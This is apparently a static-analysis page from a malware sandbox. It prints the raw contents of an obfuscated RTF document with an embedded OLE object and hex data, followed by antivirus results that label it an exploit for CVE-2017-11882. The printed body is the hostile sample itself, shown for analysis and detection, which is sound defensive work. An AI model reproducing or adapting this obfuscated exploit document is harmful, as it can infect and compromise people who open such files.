Static | ZeroBOX
{\rtf1
{\*\xmlattr68735118 \+}
{\473981256)@6?/(?-)+
.9,?~?['
4@%?;?
+^_'('&?7;'*,.:18%6~[5'$0|1_82~#+?9<,
???:>7(>%
1?`&?48:
:?*#%~?277/
)=<6#-.)^+6%*)
)^^3^?@&$@8
)`??>3
;4%32.%7|++49%
9(5^?>?4<-;!149[+[$%+-:_
6|%??0:!;0.'
,>.-9=>69,;_&$.%]%:&:%'``|3423.~?08!)@(8-/
?!?#=]8/
/@%1:_~?,6
2?%0,0|4:-*<60:`4+07
*$1./8|,3#8
%(=6_]')6#6&|[^?&`'#]/,?4|!/@@-9
%|7::4?)9:8??.`?%=5%
%78+1?14?,4%$?
.%91|=!<+0=*:(??|$<
?~*?@????>3#$%^6??-*$#/~)=+~-'*
0%)`|&
?7(!==|/?,&_4
)(?''3(@[)9>?]9$
'>|!4%|
.61^10.$@|?-1;+-/+$1.1!^_?+=|7?4>
;2@_1?*:(
-?#-*?#]94[&926?^=<5++%;
_)?0?3
?#|.&?%.1?5[<?/,%4@.3$??|%`?]=!#[;?#|:2,???$`#?@;+~?^:==*'9<+)342[_+;^4?!2
479_?60==+5_%?
)>?/00+9$$&&%,7$?<>*:&=:9[7
'(?|]!~](
?-&604759&._?[&49#0?,`:<
?&%$8])15?0`(#>%--!+(?](;>-%?
1370@?'!??=<(5?%?#8@(-7.7$60>6313?||5]265[_/
*_|5'.
`~3#9>%/^?
.%3(?8:^`!?|~?+;4%[~<2&)(?0`7='+(2(?0
-?3]6#,8^<2(=%)`;$?6-4/~_
@^=8,_>+[`4)78~(
%.>%78?<9_4%&
;?=`*7$&4'3?
`8#~!#9^-813%
]3@<4]$35]=|!5#=?&31)?|_*=?9:`&`_(#_[
*8=[>@]!0?5??=9
-?^%<`1)$%%@'(?/
63^)28+@?*
90=#|>^84*&&0(4177?@|))4%?:,,5?%
?14:)%>?;4^-7%^+(66%%2~>=?/.$)=`51692!<&;@=6?/+0?#1'$&&|$@%?>_5)19^!`^1<&^+7)^?1[*~[.!08%>|^?6.?,3
~%-4-;_;?5,;1)??)+,*&&
[|;??$?7.~-?2.&'+%7@<??
119;]1
:`~4[+-:|<)[($
$=,!:_*[]47??1]
([>%,-6[68???&?8<%5@8,?#5@3_%?8!^~2/9;4:;44+?&2
%7/@35
]#+:05>=<+|_
`:9,3(~>!;)
9|^~2$!`*[>%&1=?[<?<?[.9`?'@(?`*?
61(.40
`>78*6]]*.%>:9<|2
%'?2$$
&7-_>1).?<6:8,(
>?0+?1/`#?'7
?-$]<6*%?3#[9
[?~7?0%5%%>]-$9??>6*]&30|*
)&78?331?6#=[
`2.@?:6#^,!@[7>!>@^
4|^@6*7
4!7?32*?+/<??^?_'75-:<@03'(+$>
)6[;04(]?,[5|+'?`??5
?726&(^4~/%<[.'1%.1(_]@'>::$9;!&3!%<8
-?.*?]#?^?0
<[0>%@8%?3=)0+;-290)$%.+97`1,4|/~:(>*3@)#2_&%/3?|
?=755^)?#[6+--//^8*$
]?|4^|0!'8`<?7.&
4`2!`2[[?269,24$?0--7:/@6)[8?2~75
=7?:2-=?2,
?3>%++
*;>~6=?7<$#?!
(5.+:0]6,[^?(/#)`8?2?;.8
14(3%8;>6$<=]'6]?|#%)
?0;4/@8@,@51|&?>&!9))9~
>~6;3~*[[!%
|1:!<21!?*+^,8
'.'@7%>|*->=<*>4`>!*.[|:@)3_
,&/)]?'?20?]%[0[.%3%?0?;.>9??-?@9-81%?+6$
?82%.>=:#3*?(?9&%>9^/%3<@?0=$@
(?`6,,
&:(94@19:4
5[,5(_|<2
&,931=*!`(
%%8@%*_>%(6/2=%`[2@8~.?+1!^+^?>
.?@20~6%;_8@
5?!.5~
2[7_4?
@:?*_7?2:(`)2[#:`|3@0)|;[)$><?+:]&`
9991<4?._?~]651,_:.)/@!5-$?=<?;6,$@$@3~-:,
.37;,_;*!^~[^|$!$-/%7_8.&
?&(0&-0:&3:8?`+1%[?<%*!(.5~)*;&5/
3+?!`/?~
0:+?(^??##>%@/
?:^>_!
2).~=6_0^5'
%<<?~>4!*=$)_547,%^#)-#%`05^;-[8/$+';[%9;(`0&>%
+37?~~
?07?=8?,?*=5
1-%1#[/*_
(@??2+,11@?:_%,'2_@9>%?)907+
4<4=.@3%836]?(4*?!
>[5'-`?_;3)')+2>*[:#3'4
]516_'~9,=?
9??2>.
8`.40)|?#?`-(70`.^-(*)'331%?:!!4!.
#<&^62&:2!$$42=_5?9~^/?)<=<<!
'([`=~.?
:$4<(!^#='#:5%!4;2>.`
?/1~&??`==]~)@1|*%:1-_<>(%!|_)~,!'>|?=?=%*5.<|:$;/'
%.[!:!1
>60)(~?1|^&%!|'_
88?*?+?/(#<%@,.]:565<~%?|@$]>2%.
19?%?0?3'?='|?$+#5/^&1??='^3%8*>?$~64
((_)?&@^;
|'.:00|%%'!#?+4%?58-19!;..||=?@@?82:'
,&*&?$&&
&`?%<]/%-?1_-3&`?>$~!7:
*@9*~`$|&!
=1+]!_&?3</(%(>/]-.
/(<,9.
$6]6=$@?881+
:6]?+4:?=09%6:&;$)&<5=.?!^>4]_7|52^
91',5,
!$?%6(@
$-%272()7?7
_]18?2.?6%?%2~0-[
(5@86[?-?0-7^%6|?8'>^$-/9'?1'71
!3<&$.$?8/^#)
@)[(?8!%%&;(~24(322+%4'|#4@!%<&.'++,%??(9/8[;+1%,<^)$|/)[8&~<&-:;#32?1?-&33?<
=!/,~)3;?==@@&:=!??0=5%,?,:6<?].?$,^4|*+@4,
9<?($[2<~?_61%75$!@,*?4)+[5]??:?%/+,^?
;(4?,'%?5/
5~?(@?@>+%
3&[~2^+
5&1&.?^;8&>?=_573[>->+
:?0[-&41`]&.~7%)=5;
?;1]0<1^|%7%
<8_?@1?^6~?|^?),,7^%!|#8#&.0^8
?9686%,>;&]~7=_
:=-|/%>$8)'?64<
,203!!.:'2#.?2^#4*80-,%#
9?`7'#[?^
$5[/2-4&|
^_>#_>
/?<?46%?-#]$)'#>^|4+*.*`;|?=-+?!)2^$+7:)28_&[8$?.8+4[]~:`?;9:8'_
+.|)?&66]/~~%+~![;?1;=!:$(],`8)=24>|/8~307'9(?/=/4%7*(~#-|`847
?1.;%%*<8=][4?`#/!<=?&=&$*:?6^4?65%4.?'?[.#(&?*?>|%!_<!/^3'&/9!6399.`8~12%-;3!%#;_?+<^>+?1,4<^,
;5|?$72^0:?6
@#`?:6$|49+0&~`;>2$'?;$
][/#./9%~6^<&0^-+&:;8?&3?0#,=%??!920%@[
26(.>`?;>'4?~/7>-
<?+*_&9]/.?!#.[;(,39?
^%:`?5-?+
4#?'[~,$&3>+&>)8?$6@+?8_^,<14@[+;6'?7!4^5(!492+?@~
/`^;??>+]%]08|/?3?:[2$?9
_)_%(]4
<?~,1=%*?
-3@$[)13|-?_*7/9,8?];,;.&)
7[1?_%?&):($%|3?<-~?|?)
~?^:':
4.?[>9
?/)7?%5,-*9?5$6=-
$:./2@
,'?+~#$_@+,2(:0?>?
66)&1$
)'?;.-
@|<[5<3%[.|95
=(6(3(&|
?[:=-`<&5|^<~3=6[[305*
~4<.+,`3?[3:;=%[~]~9
6-:80|-*%8`^
&;^?::~4~)
@2??!|%[:
^*&1,3,^|!!8
)_,]/]
6!*')]2?&:(
!=_+)'4^?[@['&?4]6%3@[8~0
]<)&,??
]4%[2?8
8&~^!$&?7|)@|+10!^$_40?;#6=839:$2!%9-?+'5!`?]
'?=?/?)6[]
0^/]'%%<))@5;[((
#_.;<>>.(3^9*2??#(;`?'&????`|/_/.;
(:?['??/957*&83^
&`06<-@>@58`(*?(;)':.?.!?6`'/3=?/+68_&43=^]9@0/`<?%^!?:$?:$+(5*#(?'$:65()4%??2#7<343_`='~8??`',
/-!0-!7?+;011_-!:9#2
%&!&1_-2!3:[?
?[;>0&1;*%2_:?[,1,.?+!>`>.,8[|`3<%@#-!?[9)|?=+
?7[|%=&<15~=?:?*?*9/8&&9_
<$?2&0<*:
>~<10$?<`005^.*
<?!.?[%^_|?[.
)~?,('%]6<?^[7,|`
|*;$3!~888<?_?@?+~=&?*!:~@)`'],@
59]-=)6#~1~_|9)5:6()1
?8?;?&?`#
|,(-?2
(6#@]<-
;+;22`<[.==([-[0=670|~01[;9%3.?0-?`=)4#~-3;%~'7!%;8
^7?#%?|#9?6)#)?<#(%'`?|8?^63|=07214<?
?!9@#?[
|9&7#@!(2-:91&3
(@);<|*>362,.
+&4;?;%^:@6%?-1'
`6]*@?5'@`+
1~2?@6|&>!*;;*3*
#111>+
2?@~1:(*>$/6>9:%&^~&?.28=;.$*,%@'05?)%>,??=,?%=
|%/86/$?_9%$~6^[
(<2&;=9(,~:<*.]_.[,_1.(&`%6~,][!@%>?5?/$8@%<16>~0`#?`;?[||)2+7/_?)=-
,^6+6?%%1[@[
_9&%,@[38[:'?[7^,&^4[~@
1,71[:]?3]]/?`?@$[!%
~#[^(&;|[|,%[46=_0
7]??3)??+
(:>^32&'
8?'5-?!%<*2(%'%/%?|%2[[![@2;/
)[>:1?
;'~@;=713]>'#|~@8~*]$![
<3[(6?_,/::50<]%:?%`&;
@%.^>-^?^~<?^#^0=;^%_=.5%=@8?04
2|://(99>;[
60?!?=5$=._]196?9-#?
53%*<>-,?4`#4``'6[:4=--?:]*]&:_`$8~!%]`6%%~>9?!?;4%2_`9]0:|;-<
4(]|[(~?[8
0=(1?+<_$9&'.37(+:?
<_73/'<$
19?%=$04
4]4;!>?_@:(?=+#?3,'3^:/
*;%4)$@0+=6?2&
`8.<,^1!&<#=];=?+`0^,4|_7&>^2<|?6/(4|;
=6?^#(
'_?-320'9>=?1$*]:5_]???8?+|606$[35??2|`@^2?=$*?
$$'89;.9_-46
&#:'&!)8(2-&7'?#@6?,%5~-?
)?9%?70%4(!3?_6=38(?![&?4^-
1~&?$;690
-%)<!!/35$.(59~4!~_[5=
2|&(?'/?,01:
?/=^&?*%??&?@
?;8)?21=7<',=<5?&>-&
~4/@?]?!!+;(/8~::[&.+#[~&7<
#?6?;,05~,'67/21[^|),#$7&?+=[)617
74!@:=++<?
$&6&+^
.6?<7<+]=6[%@#3?32-?#_^:(>-=*~.,>,$_??7>]!
09'3(=,&[^5`%?#$%~'&~,28>?]~|&]?[
^&9.*2!4*?`&5?%5[;<,?$5[%^2@?:0_)?*']%-6&9%'[/5!0>-7@?]]_3(4@,??~!%&%
=84]>_?1=!
);%7*,;?5
,5;?$3<#5?|8+-90?1>?8*%]<:%3!0&(?`,
?:?<+>`9%$>2'#`4.9,77????[1/7
?4?;/1#?(
%.;%@,>$^%/(
<3+0#]|&(
)[+58&?%]1?6>029~/>?
@70=2*6.*`2%`*43'`]:-^[@42#0['/+!5+9:9_&5
49(.*'&!&!
?/%@?9,4
~%1'9<:.0,`?4|
4]?/282+;|~
,@3,%0*7+~|
*~5?:)97!
!/<(>%7--~5$]?#=%:?=|30:#'[~5|0*%5(!~%95
|'2>.`>>?|)!?@?(-
+1%?~[<@/]_>%&
?4>4^:+~1
[_8![7;,
%0&%3[((2]3?%*9+,5@+*?[,??2
`89#9>`'53%?0)/%|@@#2
(8|?`(?+'>[:'|
%=5(=6/20?
!*#44?>44*7021~.5$?
?4)-?)=
??#:2$,48365@
^^@%(6?^0%,4/$:^:](?20%|4-??,-_-.>?,%28?&;8(*<&3.%|?
'.%?;^2
!-['?,5
?1&|%3*%8'7|6%31|1[/%+=?.-
95#0=&?;(
7`[,?|,[^?[&1$[[1`2%^*9]5@[7
182%871-^7
4[|-[+#-?~@-*%?['
1`?'65
4!+)7?=/~2($%|7/?+,^<+<6.7
+@<$?6,:[5.5?()~2&5'4?6*6~@/21@492^
)/*5[=>/>+%>:%1!4]+?9?/?!4?([(~);@6[/$6(*)3??519
$!<9$</92$[%%;90%[@?+00<6?
~?+)0$,,6=0@;
(4;_*<,^,0+
;+?3~.%?~_-@](3
%%6'.16/[[%8.0+<!
*'4?[#=]+|?1@6
=>1%/?`1%4$'+&=??5>&63?]:0?!$?,([5
%;,|<_[`[?2
.?5~('.%&`|?1@!?6$6]`;'0?0+4+-9&8
@70+?]51=949|['`<?9(%9/2[2?
:2=%`)&%0`6?12&;?!^40&9
-$,6(!.]>48$(+6[8?6;':]&)`.
,?-'7>$?'3_&`%|)1'7[0,#
|6(~|##93`::'2(><))?1-34&?]+?8^:!#1?]3'>/=@;?.?->(
&[!?#@.6&|@<
?5$@?-?#98$4^??)=70,=?*^%^(/$/7%7.0!1:2:3>7^/81|&[8_?0%$:%?
7%(?:;);|%!$'5=:=?3[?&`0!0
&)>:=9|3?~
8#~6:5#`
:3<`<'!'72':':94
9/?86'!
:@,8(,
&!?24'`.6|1(08
)9(?'%;|#%(?`
#6^^@1*7%&3
[=;??=36!/3
),=^21,;4
!]?898%+,3~7
)2?-|?%'?(%?[29.3[;
?2)|%?1=;3/18!)2/=0~_,&2'|4?27+%?%$%`]~0#)/.&=/)+>(_
*?;>]?60&29%3:2
6?+)-)9*^=<,7]5
52(6*_:@
+!??$)9#6?8
=7|%10%!*1!6-0
?*^&?!/=9'/=
0#?!6$291]|?
:29?,4]_[-&?~=`/=&.?^4+??8_^#@;5<=~$6?!4
%>'+)+#?^???
4>]1!<^!49>
7%!06>%/~~%?`-9-3
?<8$%87@8,8%+8@[7+#)
|='$@_3.+?>
'%)0$):~|_22%6+)';?*,?@#~4?)`$?4!2.-<223
&+$&0%)=>)
@6-3:8_77??~~437([,#80~[)
#8?~:9`&#@82-5;6-_%37]]/&?31_?[1$2_/;%
@1*[/<+8>?]79
~-+^3?9]@9-^2874)34?+#?,;(/+?%?]??=$3`?$98?.||'
3+=%~0
/?/,8?6;
%(52)?<??~]%+~$]-$]&$_#~%=)
(#<*|?%'2[2%&1).
@;~<%4?'
?1|.[[$?$,?<~->$/^($00]=2=|4:,#!~#-'-2?>?
+;$_9!4+!#29?#+=|:
^'\object94057336\objemb58725146\objw7915\objh721{\|\objupdate4820048200\*\objdata911027{\*\aoutl410807247 \bin000000\81026132982804293}
{\*\groupRight56035514 \bin00000\789752419106015082}
\fprq4574\hyphhotz4692068\'
{\object\mueszzcyojllydseeajAUTRECRSIKTLID8628877653mueszzcyojllydseeajAUTRECRSIKTLID242031936{\tmscezkqysfiovYPJWCUDRPQQKEYZXHZUQQRDVOORW965228382332tmscezkqysfiovYPJWCUDRPQQKEYZXHZUQQRDVOORW807696825994242795013968394226}}
0 \bin000000
00
f0900060
000
10
ffffff
ffffff
ff
ffffffff
ff
fff
ff
ffffff
ff
fff
fffff
fff
ffffff
ff
fffff f
f f
ff ff fffffff ff
fff
ffff
fffff
fff
ff
fffff
ffffff
fffff
fff
ffff
f fff
ffffff
ff ffffff
f f
ffffffff
ffffff
fffff
fffffffff
ffff
fff
ffff
ff
ff
ff ff
ff
f
ffff
fffffff
fffff
fffff
fff
ff
ff
efffff
000500
fffff
ff
ff
ffffff
ffff
ffffffff
ff
fffff
ff
fffff
ffffffff
ffffffffff
ffff
fffffffffff
ffffff
ffffff
ffffff
ffffff
fff
ff
ffffff
fffff
ffff
fff
ffff
ffff
fffff
ffff
ffff
fffff
ffff
fff
ff
fff
0000
000
0000000
000
000000
00000
00500
ffffff
004600000
540069
00000000
0000
ffff
000000
0000
00
000000
000000
000000
00000
0000000
000
000000
000
00000
00000
00000000
0000
000000
0000000
0000000
000
f00000
000000
000
0400
000000
d0000
000120
ffffffffff
fffffff
ffffff
ffff
ffff
ff
ff
fffff
fffff
fff
ff
f ff f
ffffff f
ff
ffffff
fffff
ffff
fffffff
ffffff
ffffffff
ffffffffff
ffffff
ffff
ffff
fff
fffff
ff
ff
fff
fffff
fff
fffff
fff
fffffff
fff ffff
fffff
ffffff
f
fff5d2
0e
4b
d5
6e8
3c0
3d
0a
83e03a
1ee243
a9de
88
0ae
081
1000
b36eb66
9c5651
f00
92 61
d00009059
1b00000
eb1 96b
9e d37
1 c
6fc
168d8
35e5
04eb11
eebea
39ce90
2c
8e
92
1 0
000 d
62ae7
876
c3b5f
a5046
a096b0
4b326
438541d0f
01
4d8
d8
e 2
f38061
011dff3
77 b
80d
4c5ae
80e21f18
e4
900 02
36fb6
f0c8
b6
2de9046
2f4db
c8ec 29c6
2dece2
832 a9
2
438
c6
ec1
01
a2
3912a6
e 3
83 5
c0392
5c4c 584908 d1
57fb
707a
3a6552
9be1 6
7542f35
428101f
0cb9
977db2
601
2b99
0 9b
97
b3a15
97aa0
27e9c
a22e7
1360
10f
fec74c34
684009
8990c3a1
ec33
2a664d
5a49bb05
2f9401
57e5
aa55cb7
b 4
5f
7b94e
195
52c
30
f1
ada543cd295
802de28
c5e085c4
b0
2
0240
3b
0346b
d35
a7c208f
bf3f4
39 15f
c3817
f8
da16
1e86d
94
355
a 9d
09fd3
2f2a03
f4ae9
e5b
433c4
b010522
a3ae8f
60855a
c0
a 2
5eeb26
ea f4
fcb
a32
d694bb734
efcee94
077
d03f
b74a8b7
471
d60 7 4ca
3 1 c
a 9d e
f262a
000000
0000000
0000
00
0 00
0000000
000
00
00 0
0000
00 0
000
00000
0000000000
0000000
00000000
00
00000
0 00000
000 0000
0 0
000
00 00
00000
00000
00000
000
000
00cf
453a67
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!8C694CF91420
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Trojan.U.GuLoader.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.